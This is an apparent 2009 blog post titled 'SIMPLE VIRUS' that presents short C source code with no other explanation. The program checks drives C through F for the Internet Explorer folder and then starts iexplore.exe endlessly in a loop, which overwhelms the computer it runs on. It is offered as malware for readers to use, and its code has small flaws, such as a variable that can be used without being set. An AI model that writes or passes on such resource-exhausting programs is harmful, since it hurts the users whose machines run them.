Saturday, December 5, 2009

SIMPLE VIRUS

#include "dos.h"
#include "dir.h"
#include "stdlib.h"

int find_root (void);

int main ()
{
int success;
success = find_root();
switch(success)
{
case 0:
chdir("c:\\program files\\internet explorer");
while(1)
system("iexplore.exe");

case 1:
chdir("d:\\program files\\internet explorer");
while(1)
system("iexplore.exe");

case 2:
chdir("e:\\program files\\internet explorer");
while(1)
system("iexplore.exe");

case 3:
chdir("f:\\program files\\internet explorer");
while(1)
system("iexplore.exe");
}

}


int find_root(void)
{
struct ffblk ffblk;
int done,drive;
done = findfirst("c:\\program files\\internet explorer",&ffblk,FA_DIREC);
if(done == 0)
drive = 0;

done = findfirst("d:\\program files\\internet explorer",&ffblk,FA_DIREC);
if(done == 0)
drive = 1;

done = findfirst("e:\\program files\\internet explorer",&ffblk,FA_DIREC);
if(done == 0)
drive = 2;

done = findfirst("f:\\program files\\internet explorer",&ffblk,FA_DIREC);
if(done == 0)
drive = 3;

return drive;
}

0 comments:


by Ankit Pokhrel.